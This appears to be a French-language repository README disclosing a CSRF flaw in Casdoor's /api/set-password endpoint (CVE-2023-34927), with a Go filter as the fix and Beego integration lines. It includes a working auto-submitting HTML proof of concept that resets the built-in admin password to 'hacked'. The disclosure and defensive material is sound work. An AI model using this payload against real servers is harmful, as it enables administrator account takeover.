
Preuve de concept d'exploitation CSRF pour le point de terminaison `/api/set-password` de Casdoor (CVE-2023-34927), permettant des modifications de mot de passe non autorisées via des requêtes POST intersites. Inclut un correctif de filtre CSRF basé sur Go.
Résumé
/api/set-password permettant de changer le mot de passe sans consentement.Impact
built-in/admin), menant à une prise de contrôle du compte.Prérequis de l'attaque
casdoor_session_id valide./api/set-password.Preuve de concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Cause racine
/api/* acceptent les requêtes authentifiées par cookie sans appliquer de vérifications de même origine (Origin/Referer) ni de jetons CSRF.Aperçu du correctif
/api/*.Authorization, Basic auth, identifiants client, ou accessToken) ou les requêtes sans cookies de session navigateur (appels serveur à serveur typiques).Implémentation
routers.CSRFFilter implémenté dans csrf_filter.go. Ce filtre :
Comment intégrer dans Casdoor
csrf_filter.go dans le package routers existant du projet Casdoor. Ne rien modifier ni supprimer dans ce fichier.main) :
// Style Beego v1
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// Si votre projet utilise Beego v2 et l'importe comme `web` :
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Vérification
Unauthorized operation et le serveur devrait journaliser CSRF check failed.Authorization ou des paramètres accessToken devraient continuer à fonctionner.Fichiers du dépôt
csrf_filter.go : Filtre CSRF à copier dans le package routers de Casdoor.poc.html : Page minimale reproduisant l'attaque CSRF.README.md : Ce document décrivant la vulnérabilité et les étapes de correction.Références
Vidéo